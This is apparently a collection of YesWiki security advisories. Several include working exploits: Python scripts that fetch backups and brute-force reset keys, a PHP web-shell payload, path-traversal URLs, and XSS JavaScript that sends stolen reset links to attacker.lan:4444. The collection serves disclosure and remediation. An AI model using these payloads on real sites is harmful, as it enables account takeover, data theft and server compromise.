See how yeswiki compares to other vendors in security performance
Summary
The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication.
The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated.
Details
Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for:
POST /?api/archives HTTP/1.1 Host: localhost:8085
action=startArchive¶ms%5Bsavefiles%5D=true¶ms%5Bsavedatabase%5D=true&callAsync=true Then to retrieve it, make a simple GET request like to the correct URL: http://localhost:8085/?api/archives/2025-04-12T14-34-01archive.zip A malicious attacker could simply fuzz this filename.
PoC Here is a python script to fuzz this:
#!/usr/bin/env python3
import requests import argparse import datetime import time from urllib.parse import urljoin from email.utils import parsedatetodatetime import urllib3 urllib3.disablewarnings(urllib3.exceptions.InsecureRequestWarning) Hardcoded proxy config for Burp Suite BURPPROXIES = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" }
def sendpostrequest(baseurl, useproxy=False): url = urljoin(baseurl, "/?api/archives") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", }
data = { "action": "startArchive", "params[savefiles]": "true", "params[savedatabase]": "true", "callAsync": "true" }
proxies = BURPPROXIES if useproxy else None response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False) print(f"[+] Archive start response code: {response.statuscode}")
serverdate = response.headers.get("Date") if serverdate: ts = parsedatetodatetime(serverdate) print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC") return ts else: print("[!] Server did not return a Date header, falling back to local UTC.") return datetime.datetime.utcnow()
def trydownloadfiles(baseurl, timestamp, useproxy=False): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", }
proxies = BURPPROXIES if useproxy else None print("[] Trying to download the archive with timestamp fuzzing (±10 seconds)...")
basets = timestamp + datetime.timedelta(hours=2)
time.sleep(30) # delay to generate the archive
for offset in range(-4, 15): ts = basets + datetime.timedelta(seconds=offset) filename = ts.strftime("%Y-%m-%dT%H-%M-%Sarchive.zip") url = urljoin(baseurl, f"/?api/archives/{filename}") print(f"[>] Trying: {url}") r = requests.get(url, headers=headers, proxies=proxies, verify=False)
if r.statuscode == 200 and r.headers.get("Content-Type", "").startswith("application/zip"): print(f"[✓] Archive found and downloaded: {filename}") with open(filename, "wb") as f: f.write(r.content) return
print("[!] No archive found within the fuzzed window.")
if name == "main": parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.") parser.addargument("host", help="Base host URL, e.g., http://localhost:8085") parser.addargument("-p", "--proxy", action="storetrue", help="Route requests through Burp Suite proxy at 127.0.0.1:8080") args = parser.parseargs()
ts = sendpostrequest(args.host, useproxy=args.proxy) print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}")
trydownloadfiles(args.host, ts, useproxy=args.proxy)
Impact
Denial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives.
Site Compromise - A malicious attacker can download the archive which will contain sensitive site information.
Summary The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.
Details Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :
php private const PWSALT = 'FBcA';
Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :
php protected function generateUserLink($user) { // Generate the password recovery key $key = md5($user['name'] . '' . $user['email'] . randomint(0, 10000) . date('Y-m-d H:i:s') . self::PWSALT);
The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.
Proof of Concept (PoC) To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.
python #!/usr/bin/env python3 -- coding: utf-8 -- Author: Nishacid YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto
from hashlib import md5 from requests import post, get from base64 import b64encode from sys import exit from datetime import datetime from concurrent.futures import ThreadPoolExecutor, ascompleted from argparse import ArgumentParser
Known data salt = 'FBcA' # Hardcoded salt randomrange = 10000 # Range for randomint() WORKERS = 20 # Number of workers
Arguments def parseArgs(): parser = ArgumentParser() parser.addargument("-u", "--username", dest="username", default=None, help="Username of the account", required=True) parser.addargument("-e", "--email", dest="email", default=None, help="Email of the account", required=True) parser.addargument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True) return parser.parseargs()
Reset password request and get timestamp def resetpassword(email: str, domain: str): response = post( f'{domain}?MotDePassePerdu', data={ 'email': email, 'subStep': '1' }, headers={ 'Content-Type': 'application/x-www-form-urlencoded' } ) if response.ok: timestamp = datetime.now() # obtain the timestamp timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S') print(f"[] Requesting link for {email} at {timestamp}") return timestamp else: print("[-] Error while resetting password.") exit()
Generate and check keys def checkkey(randomintval: int, timestampreq: str, domain: str, username: str, email: str): userbase64 = b64encode(username.encode()).decode() data = f"{username}{email}{randomintval}{timestampreq}{salt}" hashcandidate = md5(data.encode()).hexdigest() url = f"{domain}?MotDePassePerdu&a=recover&email={hashcandidate}&u={userbase64}" # print(f"[] Checking {url}") response = get(url) # Check if the link is valid, warning depending on the language if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text: return (True, randomintval, hashcandidate, url) return (False, randomintval, None, None)
def main(timestampreq: str, domain: str, username: str, email: str): # Launch the brute-force print(f"[] Starting brute-force, it can take few minutes...") with ThreadPoolExecutor(maxworkers=WORKERS) as executor: futures = [executor.submit(checkkey, i, timestampreq, domain, username, email) for i in range(randomrange + 1)] for future in ascompleted(futures): success, randomintval, hashcandidate, url = future.result() if success: print(f"[+] Key found ! randomint: {randomintval}, hash: {hashcandidate}") print(f"[+] URL: {url}") exit() else: print("[-] Key not found.")
if name == "main": args = parseArgs() timestampreq = resetpassword(args.email, args.domain) main(timestampreq, args.domain, args.username, args.email)
Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.
bash » python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' [] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48 [] Starting brute-force, it can take few minutes... [+] Key found ! randomint: 9264, hash: 22a2751f50ba74b259818394d34020c9 [+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K
Impact Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.
Recommendation The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use random bytes instead of a random integer.
Summary An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.
All testing was performed on a local docker setup running the latest version of the application.
PoC Proof of Concept
Navigate to http://localhost:8085/?LookWiki which allows you to click Create a new Graphical configuration where you specify some parameters and then click Save.
!LookWiki
After clicking save, this request is made (most headers removed for clarity):
POST /?api/templates/custom-presets/test.css HTTP/1.1 Host: localhost:8085
primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif
This request writes the file test.css to disk with the contents (abbreviated) :root { --primary-color: #0c5d6a; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; }
To exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to .php and add arbitrary PHP code in for one of the request body parameters.
e.g. primary-color=%3C%3Fphp+system%28%24GET%5B%27cmd%27%5D%29%3B+%3F%3E
Now the file pizzapower.php is written to /var/www/html/custom/css-presets/pizzapower.php and it starts with this, where the PHP code is present.
:root { --primary-color: <?php system($GET['cmd']); ?>; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; }
Then, simply visit the file with a cmd parameter included.
http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id
And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though).
:root { --primary-color: uid=501(yeswiki) gid=501 groups=501 ; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; } !injection
Impact
Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities.
Fixes
Amongst others:
Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature. Harden server config: Disable PHP execution in user-writable directories
Summary
An unsafe execution vulnerability exists in the Bazar form field calculator (CalcField.php) of YesWiki. The application attempts to sanitize user-defined mathematical formulas using a complex recursive regular expression before passing them to the PHP eval() function. This implementation is inherently flawed: it is vulnerable to Regular Expression Denial of Service (ReDoS / Stack Overflow) which can crash the server, and it creates a high-risk architecture where any logic bypass directly results in arbitrary PHP code execution.
Details
Affected Component - File: tools/bazar/fields/CalcField.php - Method: formatValuesBeforeSave($entry) - Vulnerable Mechanism: Combination of a complex recursive regex validation followed by eval().
The code attempts to implement a sandbox for mathematical operations by verifying the formula structure before executing it:
$regexpToCheckIfMathFormula = '/^((' . $number . '|' . $functions . '\s\((?1)+\)|\((?1)+\))(?:' . $operators . '(?1))?)+$/';
if (pregmatch($regexpToCheckIfMathFormula, $formula)) { $formula = pregreplace('!pi|π!', 'pi()', $formula); try { eval("\$value = $formula;"); // VULNERABLE LINE // ... Architectural Flaws
PCRE Stack Overflow & ReDoS (The Immediate Exploit):
The regex definition heavily relies on a recursive pattern (?1)+. In PHP's PCRE engine, deeply nested recursive patterns are processed on the system stack. If an attacker inputs a formula with thousands of nested parentheses or repeating groups, the engine will either trigger a pcre.recursionlimit exhaust (returning false or null) or cause a Segmentation Fault, instantly crashing the PHP process (Denial of Service).
The "Validation-Before-Substitution" Trap:
The regex checks the $formula variable after it has tokenized and reassembled the input string. If any underlying function called during tokenization (like testEntryValue or future updates to getEntryValue) returns or leaks an unexpected string format, the string structure changes.
Complete Trust in eval():
Using eval() as a math parser means the application's security perimeter relies entirely on a single regular expression. History shows that complex regex sanitizers for script evaluation are consistently bypassed via edge-case syntaxes, character encoding tricks, or PCRE engine bugs.
PoC
Scenario A: Remote Denial of Service (Server Crash)
An attacker with rights to create or edit a Bazar form adds a Calc field and injects a deeply nested recursive mathematical structure.
Payload:
((((((((((((((((((((((((((((((((((((((((((1+1))))))))))))))))))))))))))))))))))))))))))))
(Multiplied by 2000 to 5000 iterations depending on the server's pcre.recursionlimit and stack configuration).
The PCRE engine runs out of stack memory, leading to an immediate crash of the PHP-FPM worker or Apache process handling the request, rendering the service unavailable.
Scenario B: Logical Bypass to RCE
Because eval() executes raw PHP code, if an attacker successfully fuzzes the recursive pattern or exploits an unpatched vulnerability in the specific PCRE library version installed on the host OS, they can slip a PHP payload through the validation block. Payload:
abs(1) + system('id')
If a validation bypass occurs, the string evaluates as native PHP, granting the attacker the privileges of the www-data (web server) user, leading to a full host compromise.
Impact
- Confidentiality: HIGH. Attackers can read sensitive system files (e.g., /etc/passwd, .env configuration files).
- Integrity: HIGH. Attackers can modify application files, inject backdoors, or alter the database content.
- Availability: HIGH. Attackers can easily bring down the web service via the ReDoS/Segmentation Fault vector.
Remediation & Mitigation
- Do not use regular expressions to safe-guard eval(). Instead, replace the execution block with a dedicated, safe Abstract Syntax Tree (AST) math parser or an expression language component that cannot execute system context.
YesWiki version <= cercopitheque beta 1 contains a PHP Object Injection vulnerability in Unserialising user entered parameter in i18n.inc.php that can result in execution of code, disclosure of information.
SQL injection vulnerability in the "Bazar" page in Yeswiki Cercopitheque 2018-06-19-1 and earlier allows attackers to execute arbitrary SQL commands via the "id" parameter.
YesWiki before 4.6.7 contains an authorization bypass vulnerability in ApiService::isAuthorized() that allows unauthenticated attackers to call admin-only API routes when public API mode is enabled. Attackers can send requests to endpoints like api/ci/updateconfig and api/archives to overwrite configuration and list, download, or delete backup archives.
YesWiki is a wiki system written in PHP. Prior to version 4.6.1, YesWiki bazar module contains a SQL injection vulnerability in tools/bazar/services/EntryManager.php at line 704. The $data['idfiche'] value (sourced from $POST['idfiche']) is concatenated directly into a raw SQL query without any sanitization or parameterization. This issue has been patched in version 4.6.1.
YesWiki before 4.6.7 contains an SQL injection vulnerability in the Bazar filtertags action, which wraps unescaped filterN attribute tokens in quotes and concatenates them into a raw tags.value IN (...) clause. Unauthenticated attackers on default installs can save filtertags markup in a page with a trailing-backslash token that breaks quote parity under MySQL backslash escaping. This lets them inject a five-column UNION subquery to read arbitrary table data such as password hashes.
YesWiki before 4.6.7 contains an authentication bypass vulnerability in the ActivityPub inbox that fails to bind the verified HTTP signature signer to the activity actor. Unauthenticated attackers with any ActivityPub keypair can send signed Delete or Update activities referencing a mirrored entry's sourceUrl to delete or overwrite other actors' federated entries.
YesWiki before 4.6.7 contains a server-side request forgery vulnerability that allows unauthenticated attackers to make server-side GET requests by supplying an unvalidated actor URL to the Bazar abonnements sync action. Attackers can target internal hosts or cloud metadata endpoints and chain attacker-controlled outbox first/next links, with fetched responses stored as readable Bazar entries.
YesWiki before 4.6.7 contains an SQL injection vulnerability in the Bazar nuagetag action, which concatenates the unescaped tags attribute into a raw SQL IN clause. Attackers with page-write access (unauthenticated on default installs) can embed a nuagetag tag ending in a backslash to break quote parity and inject a UNION subquery, exfiltrating password hashes and arbitrary table data.
YesWiki before 4.6.7 contains a missing authorization vulnerability in the listpagestag and includepages actions of the tags tool, which enumerate pages without applying read-ACL filtering. Unauthenticated or unprivileged attackers can embed these actions with a chosen tag or page name to disclose the names and body-derived titles of ACL-restricted pages.
YesWiki before 4.6.7 contains a missing authorization vulnerability in the attachment download handler that allows unauthenticated attackers to bypass page read ACLs. Attackers can request the download handler with a known page tag and file parameter to retrieve confidential attachments from read-restricted pages.
YesWiki before 4.6.7 contains a blind SQL injection vulnerability in the {{newtextsearch}} action because Bazar list option ids are concatenated into SQL REGEXP/LIKE clauses in actions/newtextsearch.php without escaping. Anonymous attackers can plant a malicious option id in an anonymously editable Bazar list and use search requests as a boolean oracle to read arbitrary database data, including admin password hashes from the yeswikiusers table.
Summary The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. The payload ../../../../../../etc/passwd was submitted in the squelette parameter. The requested file was returned in the application's response.
Details File path traversal vulnerabilities arise when user-controllable data is used within a filesystem operation in an unsafe manner. Typically, a user-supplied filename is appended to a directory prefix in order to read or write the contents of a file. If vulnerable, an attacker can supply path traversal sequences (using dot-dot-slash characters) to break out of the intended directory and read or write files elsewhere on the filesystem.
PoC 1. Access the below URL to see the contents of /etc/passwd: URL with payload: https://yeswiki.net/?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css Similarly, contents of wakka.config.php can be read (which contains database password) using ..%2f..%2f..%2fwakka.config.php as payload. Thus showing the severity of this issue.
Impact This is a very serious vulnerability, allowing an attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries. Thus, leading to complete loss of confidentiality.
YesWiki before 4.6.7 contains an unrestricted file upload vulnerability that allows authenticated admins to write remote files into the web-accessible files/ directory via Bazar CSV import preview. Attackers can import a CSV whose file or image field references a remote .php URL, which is saved without extension checks and executed as server-side code.
YesWiki before 4.6.7 contains a server-side request forgery vulnerability in validateKeyIdUrl() that allows unauthenticated attackers to bypass the SSRF guard using 6to4, NAT64, or IPv4-compatible IPv6 addresses. Attackers can send a crafted Signature keyId to the public actor inbox route to reach cloud metadata, loopback services, or internal hosts.
YesWiki before 4.6.7 contains an access control vulnerability allowing unauthenticated attackers to overwrite any existing wiki page, including pages whose write ACL restricts editing, via the Bazar entry-creation flow. Attackers can submit a crafted entry with an attacker-controlled idfiche matching an existing page, overwriting its body for mass defacement and content destruction.
YesWiki before 4.6.7 contains a server-side request forgery vulnerability that allows unauthenticated attackers to trigger server requests by sending signed Follow activities to the public forms actor inbox route. Attackers sign requests with their own keyId while supplying internal actor URLs in the body, reaching internal hosts or cloud metadata via blind GET and POST requests.
YesWiki before 4.6.7 contains a missing authorization flaw in the pointimage action (tools/attach/actions/pointimage.php), which saves content to an attacker-chosen page with write ACL checks bypassed. Unauthenticated attackers can POST pagetag, title, and description fields to any page rendering {{pointimage}} to append raw HTML or JavaScript to any wiki page, including pages whose write ACL restricts editing, causing stored cross-site scripting in viewers' and administrators' browsers.
Unauthenticated DOM Based XSS in YesWiki <= 4.4.5
Summary It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.
This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (doryphore-dev branch, latest) - Docker environnment (docker/docker-compose.yml) - Docker v27.5.0 - Default installation
Details The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.
This part of the code is managed by tools/tags/handlers/page/listpages.php, and this piece of code is responsible for the vulnerability:
php $output .= '<div class="alert alert-info">' . "\n"; if ($nbtotal > 1) { $output .= t('TAGSTOTALNBPAGES', ['nbtotal' => $nbtotal]); } elseif ($nbtotal == 1) { $output .= t('TAGSONEPAGEFOUND'); } else { $output .= t('TAGSNOPAGE'); } $output .= (!empty($tabselectedtags) ? ' ' . t('TAGSWITHKEYWORD') . ' ' . implode(' ' . t('TAGSWITHKEYWORDSEPARATOR') . ' ', arraymap(function ($tagName) { return '<span class="tag-label label label-info">' . $tagName . '</span>'; }, $tabselectedtags)) : '') . '.'; $output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n"; $output .= '</div>' . "\n" . $text;
echo $this->Header(); echo "<div class=\"page\">\n$output\n$outputselecttag\n<hr class=\"hrclear\" />\n</div>\n"; echo $this->Footer();
The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.
PoC 1. Simple XSS Abusing the tags parameter, we can successfully obtain client side javascript execution:
!poc1
2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:
javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); })
Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.
!poc2 !poc3 !poc4
Impact This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.
Suggestion of possible corrective measures - Sanitize properly the tag names when created here
php foreach ($tags as $tag) { trim($tag); if ($tag != '') { if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/vocabulary/tag', htmlspecialchars($tag), '', '')) { $this->tripleStore->create($page, 'http://outils-reseaux.org/vocabulary/tag', htmlspecialchars($tag), '', ''); } //on supprime ce tag du tableau des tags restants a effacer if (isset($tagsrestantsaeffacer)) { unset($tagsrestantsaeffacer[arraysearch($tag, $tagsrestantsaeffacer)]); } } }
- Sanitize the tag names when looked for here
php //$tags = (isset($GET['tags'])) ? $GET['tags'] : ''; $tags = (isset($GET['tags'])) ? htmlspecialchars($GET['tags']) : '';
- Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token
- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.
Authenticated Stored XSS in YesWiki <= 4.4.5
Summary It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.
This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (doryphore-dev branch, latest) - Docker environnment (docker/docker-compose.yml) - Docker v27.5.0 - Default installation
Details The vulnerability makes use of the content edition feature and more specifically of the {{attach}} component allowing users to attach files/medias to a page. When a file is attached using the {{attach}} component, if the resource contained in the file attribute doesn't exist, then the server will generate a file upload button containing the filename.
This part of the code is managed in tools/attach/libs/attach.lib.php and the faulty function is showFileNotExits().
php public function showFileNotExits() { echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . t('UPLOADFILE') . ' ' . $this->file . '</a>'; }
The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.
PoC 1. Simple XSS Here is a working payload {{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}} tha works in pages and comments:
On a comment:
!poc1 !poc2
On a page:
!poc3 !poc4
2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:
javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); })
Posting a comment using this specially crafted payload with a user account:
!poc5
Allows our administrator account's password reset link to be sent to the listener of the attacker:
!poc7 !poc8
Therefore giving us access to an successful password reset for any account triggering the XSS:
!poc9
Impact This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.
Suggestion of possible corrective measures - Sanitize properly the filename attribute
php public function showFileNotExits() { $filename = htmlspecialchars($this->file); echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . t('UPLOADFILE') . ' ' . $filename . '</a>'; }
- Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token
- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.
Summary Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication
This Proof of Concept has been performed using the followings:
- YesWiki v4.5.3 (doryphore-dev branch) - Docker environnment (docker/docker-compose.yml)
Vulnerable code The vulnerability is located in the file public function showUploadForm() { $this->file = $GET['file']; echo '<h3>' . t('ATTACHUPLOADFORMFORFILE') . ' ' . $this->file . "</h3>\n"; echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n" . ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n" . ' <input type="hidden" name="MAXFILESIZE" value="' . $this->attachConfig['maxfilesize'] . "\" />\n" . " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n" . " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n" . ' <input class="btn btn-primary" type="submit" value="' . t('ATTACHSAVE') . "\" />\n" . "</form>\n"; } PoC 1. You need to send a request to endpoint and abusing the file parameter, we can successfully obtain client side javascript execution GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: localhost:8085 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: ru-RU,ru;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive 2. Get a response <img width="853" alt="Снимок экрана 2025-04-11 в 02 04 55" src="https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820" />
Impact This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions
YesWiki before 4.6.7 contains a session fixation vulnerability that allows attackers to hijack authenticated sessions because login does not regenerate the PHP session ID. Attackers who set or learn a victim's pre-authentication YesWiki- session cookie can reuse it after login to access private content and perform actions with the victim's privileges.
An SQL Injection vlnerability exits in Yeswiki doryphore 20211012 via the email parameter in the registration form.
YesWiki before 4.6.7 contains a cross-site request forgery vulnerability in the ajaxdeletepage handler, which permanently deletes a page on any GET request carrying a jsonpcallback parameter without checking a CSRF token. Attackers can lure a logged-in administrator or page owner to a crafted link to delete arbitrary pages along with their ACLs, links, triples, comments and referrers.
YesWiki before 4.6.7 contains an empty-filter scope bypass in the triples delete API that allows any authenticated user to delete or forge arbitrary semantic triples regardless of ownership. Attackers can send an empty filter to the triples delete endpoint to remove the admins-group membership triple, emptying the admin group and causing a site-wide authorization lockout.
YesWiki before 4.6.7 contains a second-order SQL injection vulnerability in AclService::updateRequestWithACL, where a stored username is concatenated unescaped into a read-ACL LIKE clause. Attackers can self-register an account name containing a double-quote payload, then load non-admin ACL-filtered listings to read database contents and bypass read ACLs.
Authenticated arbitrary file deletion in YesWiki <= 4.4.5
Summary It is possible for any authenticated user, through the use of the filemanager to delete any file owned by the user running the FastCGI Process Manager (FPM) on the host without any limitation on the filesystem's scope.
This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (doryphore-dev branch, latest) - Docker environnment (docker/docker-compose.yml) - Docker v27.5.0 - Default installation
Details The vulnerability makes use of the filemanager that allows a user to manage files that are attached to a resource when they have owner permission on it. This part of the code is managed in tools/attach/libs/attach.lib.php
php public function doFileManager($isAction = false) { $do = (isset($GET['do']) && $GET['do']) ? $GET['do'] : ''; switch ($do) { case 'restore': $this->fmRestore(); $this->fmShow(true, $isAction); break; case 'erase': $this->fmErase(); $this->fmShow(true, $isAction); break; case 'del': $this->fmDelete(); $this->fmShow(false, $isAction); break; case 'trash': $this->fmShow(true, $isAction); break; case 'emptytrash': $this->fmEmptyTrash(); //pas de break car apres un emptytrash => retour au gestionnaire // no break default: $this->fmShow(false, $isAction); } }
The fmErase() function doesn't sanitize or verify the path that has been provided by the user in any way. Thus allowing a malicious user to specify any arbitrary file on the filesystem and having it deleted through the use of unlink() (as long as the user that runs the process has permission to delete it).
php public function fmErase() { $path = $this->GetUploadPath(); $filename = $path . '/' . ($GET['file'] ? $GET['file'] : ''); if (fileexists($filename)) { unlink($filename); } }
In addition to this deletion accross all the filesystem through fmErase(), it is also possible to delete any file attached to an existing wiki page, for instance, if user A creates a page and attaches images/documents to it, they always get uploaded to the files/ directory. If user B (malicious), knows the path of the files he can also arbitrarly delete them. (fmDelete() is also impacted by this case)
PoC 1. Environnement setup The following actions have been performed as a privileged user
First, let's create one user (in addition to the WikiAdmin user):
!poc1
Restrict the edition of 'PagePrincipale' wiki page to administrators only:
!poc2
2. Upload of a file on a resource not owned by our user The following actions have been performed as a privileged user
Second, let's upload a media to this PagePrincipale wiki page:
!poc3 !poc4
Then view it in the page's filemanager:
!poc5
We can confirm that our file has been uploaded to the files/ directory by directly looking at the yeswiki container:
!poc5 1
3. Arbitrary deletion (in files/) The following actions have been performed using an unprivileged user
Now, get the full path/name of the media in the files directory by opening it in a new tab:
!poc6
Afterwards, we need an instance of filemanager to be accessible to our user so we need to create a page that we own, here is used the agenda and the creation of a new event:
!poc7
Call the erase method on the PagePrincipale's uploaded media:
!poc
The media is now deleted from PagePrincipale (the button is shown when the attached media doesn't exist, it's an intended behaviour):
!poc9
It has also disappeared from the files/ directory:
!poc10
This behaviour can be applied to any file under the files/ directory.
4. Arbitrary deletion (in /tmp/) The following actions have been performed using a privileged access
Finally, using the same user as the process running the app, we create a file under the /tmp directory:
!poc11
The following actions have been performed using an unprivileged user
We can once again call the erase method using a relative path:
!poc3
The file isn't here anymore:
!poc13
